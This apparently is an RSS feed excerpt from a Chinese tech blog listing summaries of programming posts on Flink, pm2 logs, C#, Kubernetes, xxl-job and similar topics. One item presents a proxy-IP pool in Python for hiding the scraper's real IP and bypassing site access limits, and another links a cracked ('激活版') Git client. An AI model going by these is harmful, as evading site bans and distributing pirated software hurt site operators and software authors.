去掉null数据, stream.flatMap(new FlatMapFunction&amp;lt;&amp;gt;())ts: 水位线，不能为空；进行位数的修正，如果是10位的，使用 jsonObj.put(&#34;ts&#34;, ts*1000)id: keyby的关键字，不能为空sku_id: group by的粒度关键字，也不能为空 添加水位线 网络延迟5L添加数据的泛型，提取数据中的ts，作为水位线（注意观察ts的位数，需要为13位，毫秒级） 修正度量值，转换数据结构 使用id关键字进行分组使用process算子中的状态来进行处理stream.process(new KeyedProcessFunction&amp;lt;&amp;gt;)，返回值为对应的javabean对象在状态中存储上一次的度量值大小，只保存30秒在processElement()方法中获取状态中的度量值，使用前需要判空，如果为空设置为0，之后才能进行数值计算。创建对应的bean对象，度量值都减去状态中的度量值和更新状态中当前的度量值 分组开窗聚合 使用skuId进行keyby分组后使用window算子进行开窗,设置窗口时间，注意Time属于org.apache.flink.streaming.api.windowing.time.Time.seconds()使用reduce算子进行聚合计算, 聚合时需要累积所有度量值new ProcessWindowFunction()获取窗口信息, startTime, EndTime, curTime, 获取到后写入javaBean对象中 关联维度信息 先分组聚合再关联维度信息的原因：关联维度信息需要join操作，是很耗费性能的大操作。先聚合数据能大幅度减少数据量。启动HBase，查看对的sku_info表中是否存储着对应的维度信息获取外部连接，需要使用生命周期方法(open，close在整个算子执行过程中只运行一次);对应的关联维度信息，即RichMapFunction()在map方法中使用HBase的API读取表格数据，使用读取到的字段补全原本的信息 创建HBase的API：读取表格数据 get 获取table创建get对象调用get方法获取数据写入jsonObj 写出到Doris 维度关联优化 旁路缓存：独立缓存服务有（redis, memcache）.</description>
    </item>
    <item>
      <title>（node-red）pm2的日志管理及使用pm2-logrotate进行日志分割</title>
      <link>https://bchobby.github.io/posts/f40c5699ee9477870e674f6483aa0b04/</link>
      <pubDate>Tue, 02 Jan 2024 16:18:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f40c5699ee9477870e674f6483aa0b04/</guid>
      <description>pm2的日志管理及使用pm2-logrotate进行日志分割 一、说明二、pm2-logrotate安装及配置2.1 安装2.2 配置2.3 停止 pm2-logrotate服务 一、说明 pm2的自带日志管理功能:&#xA;pm2的日志模块默认是每一个服务进程都分配两个默认的日志文件两个日志文件 (Linux: /root/.pm2/logs)&#xA;(Windows: C:Users\Administratorl\pm2\logs) ，一个错误记录 xxx-errot.log,&#xA;，一个正常记录 xxx-out.log。启动项目后，可以通过pm2 logs命令查看，此时屏幕上会同时输出error log和 实时 out log，同时会打印出日志文件的路径，类似:&#xA;但是pm2自带的日志功能是不支持自动分割的，这就会导致随之时间的推移，日志文件会越来越大，不但会影响性能，在后期排查问题的时候也会很麻烦，这时我们就可以使用pm2-logrotate插件来解决上面的问题。&#xA;pm2-logrotate插件&#xA;pm2-logrotate是一个Node.js进程管理器PM2的模块，主要用于增强pm2的日志管理功能。它可以根据日志文件的大小自动轮换日志文件。它可以用于防止日志文件过大，导致磁盘空间或性能问题。&#xA;使用pm2-logrotate，可以配置日志文件轮换的频率、每个日志文件的最大大小以及轮换后的日志文件应该存储在哪里。该模块还提供了在旋转日志文件之前压缩和截断旧日志文件的选项。&#xA;二、pm2-logrotate安装及配置 2.1 安装 执行安装命令：pm2 install pm2-logrotate&#xA;安装完成后模块列表，执行命令：pm2 list&#xA;2.2 配置 查看详细的配置，执行命令：pm2 conf pm2-logratate&#xA;设置配置属性，执行命令：pm2 set pm2-logrotate:属性名称 值 pm2-ogrotate可设置参数如下： max_size：默认10M，当一个文件的大小超过这个值时，它将会对文件进行分割。可以在最后指定单位，如10G\10M\10Kretain：保留日志文件数量，默认为30个文件日志，当文件数量超过时，自动清理前面的日志文件compress：是否启用 gzip 压缩处理日志文件，默认为falsedateFormat：日志文件名称格式，默认格式 YYYY-MM-DD_HH-mm-ss。如设置的日志文件名为 out.log，就会自动分割生成 out-YYYY-MM-DD_HH-mm-ss.log 的日志文件。rotateModule：是否把 pm2 本身的日志文件也进行分割，默认trueworkerInterval：检查日志大小的时间间隔，默认30秒，最小值为 1。rotateInterval：定时执行选择，默认每天午夜0 0 * * * ，（类似于 Linux 中的 cron 定时任务） 示例修改如下： # 设置日志文件最大的大小为10KB pm2 set pm2-logrotate:max_size 10K # 设置日志保留数量为10个 pm2 set pm2-logrotate:retain 10 # 设置日志文件名称格式 pm2 set pm2-logrotate:dateFormat &#34;</description>
    </item>
    <item>
      <title>桌面天气预报软件 Weather Widget free mac特点介绍</title>
      <link>https://bchobby.github.io/posts/2f78c75ad4be15eb173d00530008d326/</link>
      <pubDate>Tue, 02 Jan 2024 16:14:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2f78c75ad4be15eb173d00530008d326/</guid>
      <description>Weather Widget free for Mac多种吸引人的小部件设计可供选择，可以随时了解天气！还可以在Dock和菜单栏中为您提供简短的天气预报或当前状况的概述。&#xA;Weather Widget free for Mac软件介绍&#xA;始终在桌面上使用时尚的天气小部件来随时了解天气！多种吸引人的小部件设计可供选择。&#xA;使用小部件可以为您提供天气概况，或者要获得更深入的天气预报，您可以打开详细的天气窗口。&#xA;Weather Widget free for Mac还可以在Dock和菜单栏中为您提供简短的天气预报或当前状况的概述。&#xA;苹果：Weather Widget free for Mac(时尚桌面天气预报) 5.1.0中文版&#xA;Win：EarthTime(世界时钟桌面)</description>
    </item>
    <item>
      <title>C# visual studio COM创建及调用</title>
      <link>https://bchobby.github.io/posts/c7a1a0f9645969277ac9a525440d2913/</link>
      <pubDate>Tue, 02 Jan 2024 16:13:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c7a1a0f9645969277ac9a525440d2913/</guid>
      <description>1.visual studuio操作&#xA;1.1visual Studio创建类库项目ClassLibrary1。&#xA;1.1.1ClassLibrary1项目Class1.cs内容如下：&#xA;using System; using System.Collections.Generic; using System.Linq; using System.Runtime.InteropServices; using System.Text; using System.Threading.Tasks; namespace ClassLibrary1 { [ComVisible(true)] [Guid(&#34;D8C1EAA7-C829-46EF-A42E-2C9130467DB4&#34;)] interface IClass1 { string Class1Property { get; set; } [DispId(1)] string Class1Function1(); [DispId(1)] void Class1Function2(string message); } [ComVisible(true)] [Guid(&#34;CB5F70B2-3F6C-4410-B5B8-BD9C97042396&#34;)] [ProgId(&#34;ClassLibrary1.Class1&#34;)]//通过这个调用该COM组件 public class Class1: IClass1 { public string Class1Property { get; set; } public string Class1Function1() { Console.WriteLine($&#34;Function1&#34;); return &#34;Function1Result&#34;; } public void Class1Function2(string message) { Console.WriteLine($&#34;Function1:{message}&#34;); } } } 1.</description>
    </item>
    <item>
      <title>密码学安全攻击分类</title>
      <link>https://bchobby.github.io/posts/0f7b628b6196892314add685c90139b4/</link>
      <pubDate>Tue, 02 Jan 2024 16:08:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0f7b628b6196892314add685c90139b4/</guid>
      <description>密码学安全攻击一般可以分为以下几类：&#xA;无条件安全攻击（Unconditional Security Attacks）：这类攻击是指攻击者拥有无限的计算能力和存储空间，可以直接破解加密算法。无条件安全攻击通常被认为是不可能的，因为其需要攻击者拥有极其强大的计算能力和资源。&#xA;条件安全攻击（Conditional Security Attacks）：这类攻击是指攻击者只拥有有限的计算能力和存储空间，但利用特定的漏洞或弱点来破解加密算法。条件安全攻击包括以下几种形式：&#xA;密文攻击（Ciphertext-Only Attack）：攻击者只能获得加密数据，无法获取加密密钥或其他信息。明文攻击（Known-Plaintext Attack）：攻击者同时拥有明文和对应的密文，通过对比明文和密文的差异，进而推算出加密密钥。选择明文攻击（Chosen-Plaintext Attack）：攻击者可以选择特定的明文并获得对应的密文，通过多次尝试不同的明文，进而推算出加密密钥。选择密文攻击（Chosen-Ciphertext Attack）：攻击者可以选择特定的密文并获得对应的明文，通过对比不同的密文和明文之间的关系，进而推算出加密密钥。 边信道攻击（Side-Channel Attacks）：这类攻击是指攻击者通过侧面渠道获取加密信息，如电磁波、功耗、时钟频率等，从而推算出加密密钥。边信道攻击是一种相对隐蔽且高效的攻击方式，通常需要特定的硬件设备或技术来实施。&#xA;社会工程学攻击（Social Engineering Attacks）：这类攻击是指攻击者通过欺骗、诱骗、威胁等手段，获取加密密钥或其他敏感信息。社会工程学攻击通常需要攻击者具有一定的心理学和社交技巧，是一种相对难以预防和防御的攻击方式。&#xA;总之，在进行密码学安全设计时，需要综合考虑各种不同的攻击方式和安全要求，采用多层次的安全措施来保护数据的机密性、完整性和可用性。</description>
    </item>
    <item>
      <title>三、C#面向对象编程（类与对象）</title>
      <link>https://bchobby.github.io/posts/42c8fd729ba31e1a6d76b2f305a08732/</link>
      <pubDate>Tue, 02 Jan 2024 16:07:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/42c8fd729ba31e1a6d76b2f305a08732/</guid>
      <description>C# 是一种面向对象的编程语言，这意味着在 C# 中，我们主要与对象打交道，而对象是由类定义的。面向对象编程（OOP）是一种编程范式，它使用“对象”来设计软件和应用程序。以下是关于 C# 中类与对象的基本概念：&#xA;类（Class）：类是对象的模板或蓝图。它定义了对象的属性（字段）和方法。类定义了对象的数据和行为。例如： public class Person { public string Name { get; set; } public int Age { get; set; } public void Greet() { Console.WriteLine(&#34;Hello, my name is &#34; + Name); } } 在这个例子中，Person 是一个类，它定义了一个人的姓名和年龄属性，以及一个问候方法。&#xA;2. 对象（Object）：对象是类的实例。它是类的一个具体实体。当我们创建一个类的实例时，我们得到一个对象。例如：&#xA;Person person1 = new Person(); // 创建一个 Person 类的实例 person1.Name = &#34;Alice&#34;; // 设置对象的属性 person1.Age = 25; // 设置对象的属性 person1.Greet(); // 调用对象的方法 在这个例子中，person1 是 Person 类的一个实例，也就是一个对象。我们通过这个对象来设置它的属性（如姓名和年龄）并调用它的方法（如问候）。&#xA;3. 封装（Encapsulation）：封装是面向对象编程的三大基本特性之一。它指的是隐藏对象的内部状态并防止直接访问。我们通过访问器（getter）和设置器（setter）来控制对类中字段的访问。在上面的 Person 类中，Name 和 Age 字段就是封装的例子。</description>
    </item>
    <item>
      <title>【SpringBoot】文件上传到阿里云</title>
      <link>https://bchobby.github.io/posts/e75e0a31b226c7c672b072600c4dfef4/</link>
      <pubDate>Tue, 02 Jan 2024 16:05:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e75e0a31b226c7c672b072600c4dfef4/</guid>
      <description>&amp;lt;form action=&#34;https://bchobby.github.io/upload&#34; method=&#34;post&#34; enctype=&#34;multipart/form-data&#34;&amp;gt; 头像：&amp;lt;input type=&#34;file&#34; name=&#34;image&#34;&amp;gt; &amp;lt;input type=&#34;submit&#34; value=&#34;提交&#34;&amp;gt; &amp;lt;/form&amp;gt; package com.heo.utils; import com.aliyun.oss.ClientException; import com.aliyun.oss.OSS; import com.aliyun.oss.OSSClientBuilder; import com.aliyun.oss.OSSException; import com.aliyun.oss.model.PutObjectRequest; import com.aliyun.oss.model.PutObjectResult; import java.io.FileInputStream; import java.io.InputStream; public class AliOssUtil { // Endpoint以华东1（杭州）为例，其它Region请按实际情况填写。 private static final String ENDPOINT = &#34;https://oss-cn-beijing.aliyuncs.com&#34;; // 从环境变量中获取访问凭证。运行本代码示例之前，请确保已设置环境变量OSS_ACCESS_KEY_ID和OSS_ACCESS_KEY_SECRET。 //EnvironmentVariableCredentialsProvider credentialsProvider = CredentialsProviderFactory.newEnvironmentVariableCredentialsProvider(); private static final String ACCESS_KEY_ID = &#34;xxxxx&#34;; // 替换成自己的ACCESS_KEY_ID private static final String ACCESS_KEY_SECRET = &#34;xxxxx&#34;; // 替换成自己的ACCESS_KEY_SECRET // 填写Bucket名称，例如examplebucket。 private static final String BUCKET_NAME = &#34;</description>
    </item>
    <item>
      <title>Python爬虫——使用代理IP池维护虚拟用户</title>
      <link>https://bchobby.github.io/posts/19f7223e36a2d0350f6b735cf6ca2fb5/</link>
      <pubDate>Tue, 02 Jan 2024 16:04:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/19f7223e36a2d0350f6b735cf6ca2fb5/</guid>
      <description>目录&#xA;前言&#xA;一、什么是代理IP池？&#xA;二、爬取代理IP&#xA;三、验证代理IP的可用性&#xA;四、维护代理IP池&#xA;五、使用代理IP池进行爬取&#xA;六、总结&#xA;前言 在进行Web爬取时，使用代理IP是一种常见的策略，它可以帮助我们隐藏真实IP地址，绕过网站的访问限制，提高爬取效率。本文将介绍如何使用代理IP池维护虚拟用户，以在爬取过程中保持匿名性和稳定性。&#xA;一、什么是代理IP池？ 代理IP池是一个包含多个代理IP的集合。这些代理IP通常是从公开或付费的代理IP供应商那里获取的，也可以通过自己搭建代理服务器来获取。代理IP池可以提供多个不同的IP地址，用于隐藏真实IP，避免被网站封禁或限制访问。&#xA;二、爬取代理IP 首先，我们需要从代理IP供应商或其他可靠的来源中获取代理IP。这些代理IP通常以文本格式提供，每行一个代理IP，格式如下：&#xA;IP地址:端口 我们可以使用Python中的requests库来发送HTTP请求获取代理IP列表，并将其保存到本地文件中。以下是一个获取代理IP列表的示例代码：&#xA;import requests def get_proxy_ips(): url = &#39;http://example.com/proxy_ips.txt&#39; # 代理IP列表文件的URL response = requests.get(url) proxy_ips = response.text.split(&#39;\n&#39;) return proxy_ips 三、验证代理IP的可用性 获取到代理IP列表后，我们需要验证这些代理IP的可用性。我们可以使用requests库来发送带有代理IP的请求，并检查响应状态码来确定是否可用。以下是一个验证代理IP可用性的示例代码：&#xA;import requests def check_proxy_ip(proxy_ip): url = &#39;http://example.com&#39; # 需要访问的URL proxies = { &#39;http&#39;: &#39;http://&#39; + proxy_ip, &#39;https&#39;: &#39;https://&#39; + proxy_ip } try: response = requests.get(url, proxies=proxies, timeout=10) if response.status_code == 200: return True else: return False except: return False 四、维护代理IP池 在获取和验证代理IP之后，我们需要维护一个代理IP池，以便在爬取过程中动态地切换代理IP。我们可以使用Python中的列表或队列来实现代理IP池。以下是一个简单的代理IP池实现示例代码：</description>
    </item>
    <item>
      <title>二、C#基础语法（ 委托与事件）</title>
      <link>https://bchobby.github.io/posts/c48dc1079c75532dc8d33604a8f26fd3/</link>
      <pubDate>Tue, 02 Jan 2024 16:03:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c48dc1079c75532dc8d33604a8f26fd3/</guid>
      <description>委托（Delegate）&#xA;委托是一种类型安全的函数指针，它可以引用具有相同签名的方法。委托可以看作是方法的类型，它定义了一种类型，该类型的对象可以引用任何具有相同签名的方法。&#xA;委托的声明使用 delegate 关键字，后跟委托的返回类型和参数列表。例如：&#xA;public delegate int MyDelegate(int x, int y); 这个声明定义了一个名为 MyDelegate 的委托，它可以引用一个返回类型为 int 并且接受两个 int 参数的方法。&#xA;要使用委托，需要先定义一个方法，然后将其分配给委托变量。例如：&#xA;public int Add(int x, int y) { return x + y; } MyDelegate del = new MyDelegate(Add); 这里将 Add 方法分配给了 MyDelegate 类型的委托变量 del。现在，del 可以被用来调用 Add 方法：&#xA;int result = del(1, 2); // result 的值为 3 事件（Event）&#xA;事件是委托的特殊类型，它允许外部类向内部类发送消息。事件使用 event 关键字声明，可以看作是委托的成员变量。事件可以被订阅和取消订阅，当事件被触发时，所有订阅了该事件的委托都会被调用。&#xA;以下是声明和使用事件的示例：&#xA;public class MyClass { // 声明一个事件 public event EventHandler MyEvent; // 触发事件的方法 protected virtual void OnMyEvent() { MyEvent?</description>
    </item>
    <item>
      <title>k8s的声明式资源管理（yaml文件）</title>
      <link>https://bchobby.github.io/posts/fd11b821dff31207cbeba5215b3a616e/</link>
      <pubDate>Tue, 02 Jan 2024 16:03:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fd11b821dff31207cbeba5215b3a616e/</guid>
      <description>1、声明式管理的特点 （1）适合对资源的修改操作 （2）声明式管理依赖于yaml文件，所有的内容都在yaml文件当中 （3）编辑好的yaml文件，还是要依靠陈述式的命令发布到k8s集群当中 kubectl create 只能创建，不能更新，从指定的yaml文件中读取配置，创建服务，不能更新&#xA;kubectl apply -f&#xA;（使用最多）&#xA;既可以创建资源对象，也可以更新资源对象，如果yaml文件更改了，apply可以直接更新资源对象&#xA;kubectl delete -f&#xA;删除yaml文件中声明的资源对象（声明deployment、pod、service）&#xA;2、生成yaml文件 （1）手动输入 （2）可以根据已有的资源直接生成 修改yaml文件：kubectl edit deployment nginx&#xA;查看yaml文件：kubectl get deployments.apps nginx -o yaml&#xA;导出yaml文件：kubectl get deployments.apps nginx -o yaml &amp;gt; /opt/test.yaml&#xA;3、修改yaml文件（基于已有的资源生成yaml） （1）基于已有的资源生成yaml：kubectl get deployments.apps nginx -o yaml &amp;gt; /opt/test.yaml （2）修改，重新创建更新资源对象：kubectl apply -f test.yaml --force 4、常见的yaml文件 （1）deployment的yaml文件（daemonset、statefulset） （2）service的yaml文件 （3）不基于控制器的pod的yaml文件 5、k8s中支持两种声明式的资源管理方式 （1）yaml格式：用于配置和管理资源对象 （2）json格式：主要用于在api接口之间消息的传递 6、配置deployment的yaml文件（daemonset、statefulset） （1）kubectl explain deployment （2）kubectl explain service/kubectl explain pod （3）配置deployment的yaml文件 ①创建deployment的yaml文件 ②kubectl apply -f nginx.</description>
    </item>
    <item>
      <title>Danil Pristupov Fork(强大而易用的Git客户端) for Mac/Windows</title>
      <link>https://bchobby.github.io/posts/a9e014262211a70d467c28fec187042d/</link>
      <pubDate>Tue, 02 Jan 2024 16:01:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a9e014262211a70d467c28fec187042d/</guid>
      <description>在当今软件开发领域，团队协作和版本控制是非常重要的方面。在这个过程中，Git成为了最受欢迎的版本控制工具之一。然而，对于Git的使用，一个好的客户端是至关重要的。&#xA;今天，我们要为大家介绍一款强大而易用的Git客户端——Danil Pristupov Fork。它不仅提供了基本的Git功能，还额外提供了一些独特的特性，帮助团队在开发过程中更高效地协作。&#xA;首先，Danil Pristupov Fork具有直观的用户界面，使得Git操作变得简单而直观。无论是新手还是有经验的开发者，都可以轻松掌握它的使用。此外，它还支持多个Git仓库的管理，让您可以同时处理多个项目。&#xA;其次，Danil Pristupov Fork提供了一些强大的协作工具，如分支管理和合并请求。您可以轻松地创建、切换和合并分支，方便地与团队成员进行协作。合并请求功能使得代码审查变得更加高效，团队成员可以轻松地评论和讨论代码的更改。&#xA;此外，Danil Pristupov Fork还提供了强大的搜索功能，让您可以快速找到特定的代码片段或文件。无论您在哪个分支上工作，只需几秒钟就能找到所需的代码，提高了工作效率。&#xA;最后，Danil Pristupov Fork支持跨平台使用，无论您是使用Windows、Mac还是Linux系统，都可以方便地使用它。此外，它还与其他常用的开发工具，如Jira和Slack等，集成，进一步提高了团队协作效率。&#xA;总结来说，Danil Pristupov Fork是一款强大而易用的Git客户端，为团队提供了高效的协作工具和直观的用户界面。无论你是初学者还是有经验的开发者，它都将成为你的得力助手。试试Danil Pristupov Fork，提升你的团队协作效率吧！&#xA;Mac安装：Fork for Mac(Git客户端) v1.0.93最新版&#xA;Win安装：Danil Pristupov Fork(Git客户端)1.88.2 激活版</description>
    </item>
    <item>
      <title>CSS animation动画和关键帧实现轮播图效果HTML</title>
      <link>https://bchobby.github.io/posts/b2133263deda7670f5db2c3060be30a7/</link>
      <pubDate>Tue, 02 Jan 2024 15:50:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b2133263deda7670f5db2c3060be30a7/</guid>
      <description>CSS animation动画和关键帧实现轮播图效果HTML 这轮播图效果使用h5和css3实现效果，不需要js控制，但是其中的缺点就是不能使用鼠标进行切换效果。&#xA;具有代码如下 &amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html lang=&#34;en&#34;&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;UTF-8&#34;&amp;gt; &amp;lt;meta name=&#34;viewport&#34; content=&#34;width=device-width, initial-scale=1.0&#34;&amp;gt; &amp;lt;title&amp;gt;CSS animation动画和关键帧实现轮播图效果&amp;lt;/title&amp;gt; &amp;lt;style type=&#34;text/css&#34;&amp;gt; * { margin: 0; padding: 0; } #contianer { width: 800px; height: 500px; overflow: hidden; position: relative; margin: 0 auto; } ul { width: 4000px; position: absolute; animation: animationContent 10s infinite normal; list-style: none; } li { float: left; position: relative; } li&amp;gt;img { width: 800px; height: 500px; } li .</description>
    </item>
    <item>
      <title>【Java】SpringBoot整合xxl-job学习使用详解</title>
      <link>https://bchobby.github.io/posts/4dad658ef323a79679e1012683521050/</link>
      <pubDate>Tue, 02 Jan 2024 15:49:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4dad658ef323a79679e1012683521050/</guid>
      <description>文章目录 介绍作用如何使用下载项目中央仓库地址环境调度中心初始化“调度数据库”配置部署“调度中心”部署项目调度中心集群（可选）其他：Docker 镜像方式搭建调度中心配置部署“执行器项目” 执行器maven依赖执行器配置执行器组件配置执行器集群（可选） 执行效果编写业务代码新建调度规则启动一次启动 细说策略路由策略 总结总结 介绍 Xxl-Job是一款优秀的开源调度平台，用于管理和调度各种类型的任务，报告定时任务、分布式任务。&#xA;作用 分布式任务调度：XXL-JOB允许您在分布式环境中调度任务，这些任务可以在不同的节点上执行。它通过分布式协调和管理任务的执行，确保任务按计划运行。&#xA;Web界面：XXL-JOB提供了一个易于使用的Web界面，用于管理任务、查看任务执行日志、监控任务状态等。用户可以通过Web界面方便地创建、编辑和删除任务。&#xA;任务类型：XXL-JOB支持多种任务类型，包括定时任务（Cron表达式）、Bean任务（Java类方法）、分片任务（适用于数据分片处理）、流程任务（执行多个任务步骤的工作流程）等。&#xA;动态任务调度：XXL-JOB允许在运行时动态添加、修改和删除任务，而无需停止整个应用程序。这使得任务调度非常灵活。&#xA;任务依赖关系：您可以定义任务之间的依赖关系，确保某个任务在另一个任务成功执行后才能运行。&#xA;任务执行器：任务可以在不同的执行器上运行，例如Java、Shell、Python等。这样可以根据任务的类型和需求选择合适的执行器。&#xA;分片任务支持：XXL-JOB提供了分片任务的支持，允许将大任务分成多个小任务，每个小任务在不同的节点上并行执行，从而提高任务的执行效率。&#xA;任务日志：任务执行的日志可以在Web界面中查看，帮助用户跟踪任务的执行情况，排查问题。&#xA;报警和通知：XXL-JOB支持任务执行失败时发送报警通知，以及成功或失败后发送通知邮件。&#xA;权限管理：XXL-JOB提供了角色和权限管理功能，可以限制用户对任务调度的访问和操作。&#xA;历史任务记录：平台会保留任务执行的历史记录，用户可以随时查看历史任务的状态和日志。&#xA;集成和扩展性：XXL-JOB可以与Spring、Spring Boot、Quartz等框架集成，并提供了RESTful API，以便与其他系统进行集成。&#xA;高可用性和容错性：XXL-JOB的分布式架构支持高可用性和容错性，当某个节点出现故障时，任务可以在其他可用节点上执行。&#xA;开源和社区支持：XXL-JOB是一个开源项目，拥有活跃的社区支持，用户可以参与贡献和获取帮助。&#xA;如何使用 下载项目 可以科学上网的可以去github上clone项目，我这里是用的国内的码云进行下载项目。&#xA;我们可以从目录结构可以看出有以下三个项目子模块。&#xA;xxl-job-admin: 这个是xxl-job调度中心，这里我们不得不提一下，xxl-job其实本质是一个调度中心+执行器组成的一个框架。xxl-job本身不关注具体业务，它只负责调度。执行器启动之后要注册到调度中心，由调度中心配置具体的动作最后通信到指定的执行器上去执行具体的Handler。所以这里我们得把xxl-job-admin项目配置好启动起来，相当于一个中台了。&#xA;xxl-job-core: 这个应该就是xxl-job的核心源码，后续直接使用依赖直接注入就可以。要么你也可以打包，maven中央仓库应该有这个打包好的。&#xA;xxl-job-executor-samples:这个是xxl-job的执行样例，可以看这个上面的例子来实践，告诉你客户端的具体代码如何去写，然后调度中心就可以执行到具体的业务代码上。&#xA;中央仓库地址 &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.xuxueli&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;xxl-job-core&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;${最新稳定版本}&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 这里是用的最新的2.4.0&#xA;环境 Maven3+Jdk1.8+Mysql5.7+ 调度中心 初始化“调度数据库” 请下载项目源码并解压，获取 “调度数据库初始化SQL脚本” 并执行即可。&#xA;“调度数据库初始化SQL脚本” 位置为:&#xA;/xxl-job/doc/db/tables_xxl_job.sql 调度中心支持集群部署，集群情况下各节点务必连接同一个mysql实例;&#xA;如果mysql做主从,调度中心集群节点务必强制走主库;&#xA;配置部署“调度中心” 调度中心配置文件地址：&#xA;/xxl-job/xxl-job-admin/src/main/resources/application.properties 调度中心配置内容说明：&#xA;### 调度中心JDBC链接：链接地址请保持和 2.1章节 所创建的调度数据库的地址一致 spring.datasource.url=jdbc:mysql://127.0.0.1:3306/xxl_job?useUnicode=true&amp;amp;characterEncoding=UTF-8&amp;amp;autoReconnect=true&amp;amp;serverTimezone=Asia/Shanghai spring.datasource.username=root spring.datasource.password=root_pwd spring.datasource.driver-class-name=com.mysql.jdbc.Driver ### 报警邮箱 spring.mail.host=smtp.qq.com spring.</description>
    </item>
    <item>
      <title>vs code导入excel文件并且解析excel文件数据</title>
      <link>https://bchobby.github.io/posts/352932e22c1b8771746e79983ebe423d/</link>
      <pubDate>Tue, 02 Jan 2024 15:44:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/352932e22c1b8771746e79983ebe423d/</guid>
      <description>实习工作需要通过vs code导入excel文件并且解析excel文件数据，学习整理了一下相关方法分享给大家^_^&#xA;VS Code 中导入和解析 Excel 文件 要在 VS Code 中导入和解析 Excel 文件，你可以使用一些库和扩展来帮助你完成这个任务。以下是一种常用的方法：&#xA;安装必要的库和扩展：&#xA;安装 pandas 库：在终端窗口中运行 pip install pandas 命令。安装 openpyxl 库：在终端窗口中运行 pip install openpyxl 命令。在 VS Code 中安装 Python 扩展。 创建一个新的 Python 文件并导入所需的库：&#xA;import pandas as pd 使用 pandas 库加载 Excel 文件：&#xA;df = pd.read_excel(&#39;path/to/your/file.xlsx&#39;) 请将 path/to/your/file.xlsx 替换为你的 Excel 文件的实际路径。&#xA;解析 Excel 文件数据：&#xA;# 显示 Excel 文件的前几行数据 print(df.head()) # 访问特定的列 column_data = df[&#39;column_name&#39;] # 迭代遍历每一行数据 for index, row in df.</description>
    </item>
    <item>
      <title>鸿蒙OpenHarmony开发实战-0开始做游戏渲染引擎</title>
      <link>https://bchobby.github.io/posts/1ae6bb8cdb5714c0644d6f166f8b25c2/</link>
      <pubDate>Tue, 02 Jan 2024 15:43:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1ae6bb8cdb5714c0644d6f166f8b25c2/</guid>
      <description>首先实现了一个通用的画廊组件来作为练手项目，它主要使用了四个基础组件和容器组件：&#xA;我们放置一个按钮来触发 showGallery 方法，该方法控制 panel 弹出式组件的显示和隐藏，这里的 div 和 button 标签就是 hml 内置的组件，跟我们平常写 html 很相似，它支持我们大部分的常规属性如 id ，class 和 type 等，方便我们用来设置组件基本标识和外观特征显示。&#xA;&amp;lt;div class=&#34;btn-div&#34;&amp;gt; &amp;lt;button type=&#34;capsule&#34; value=&#34;Click Here&#34; onclick=&#34;showGallery&#34;&amp;gt;&amp;lt;/button&amp;gt; &amp;lt;/div&amp;gt; 然后我们 panel 组件中放置可变更的画廊内容展示窗口，并让 mode 和 src 变成可设置的变量，这样画廊组件就能根据模式让画廊组件显示不同的形态，根据传入的图片地址显示不同的图片内容，这里的语法跟微信小程序很和 Vue 框架相似，都可以使用 Mustache 语法来控制属性值。&#xA;&amp;lt;panel id=&#34;gallery&#34; class=&#34;gallery&#34; type=&#34;foldable&#34; mode=&#34;{{modeFlag}}}&#34; onsizechange=&#34;changeMode&#34; &amp;gt; &amp;lt;div class=&#34;panel-div&#34; onclick=&#34;closeGallery&#34;&amp;gt; &amp;lt;image class=&#34;panel-image&#34; onclick=&#34;closeGallery&#34; src=&#34;{{galleryUrl}}}&#34;&amp;gt;&amp;lt;/image&amp;gt; &amp;lt;button class=&#34;panel-circle&#34; onclick=&#34;closeGallery&#34; type=&#34;circle&#34; icon=&#34;/common/images/close.svg&#34; &amp;gt;&amp;lt;/button&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/panel&amp;gt; 实现完视图和布局之后，我们就可以在同级目录下 index.js 中补充画廊组件的逻辑，由于支持 ES6 语法，我们写的也很舒服很高效，这里的 data 是画廊组件的数据模型，类型可以是对象或者函数，如果类型是函数，返回值必须是对象，注意属性名不能以 $ 或 _ 开头，不要使用保留字，我们在这里给 modeFlag 和 galleryUrl 设置默认值。</description>
    </item>
    <item>
      <title>openJDK下找不到jar命令（jar command is not found）</title>
      <link>https://bchobby.github.io/posts/c047bb6d8bf4f173e4a05b18e597691e/</link>
      <pubDate>Tue, 02 Jan 2024 15:43:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c047bb6d8bf4f173e4a05b18e597691e/</guid>
      <description>原文官网地址：How can I get the jar command? - Red Hat Customer Portal&#xA;我们在准备服务器环境的时候一般喜欢删除掉openJDK，然后重新下载配置oracleJDK，并且配置相关的环境变量。但是其实有些时候openJDK也能满足我们的一些要求了，这个时候就不需要再去安装oracleJDK。我就是在这个环境下，执行jar命名报错找不到这个命令：jar command is not found。&#xA;究其原因是&#xA;jar命名是java-XXX-openjdk-devel这个包提供的。&#xA;“jar command is provided by java-XXX-openjdk-devel package”&#xA;而java-XXX-openjdk这个包，并不依赖于java-XXX-openjdk-devel，所以默认安装的openjdk，可能并没有包含devel包，导致jar命令找不到。&#xA;“java-XXX-openjdk-devel package is not required by the OpenJDK packages in dependency relationship”&#xA;# yum deplist java-1.*.0-openjdk | grep openjdk-devel &amp;lt;no output&amp;gt; 所以为了修复这个问题，只需要查看当前的openjdk的安全信息，并且安装相同版本的devel包就可以了。&#xA;Check current installed version of OpenJDK&#xA;# rpm -qa | grep openjdk java-1.8.0-openjdk-headless-1.8.0.252.b09-3.el8_2.x86_64 &amp;lt;----==== 1.8.0.252.b09-3.el8_2 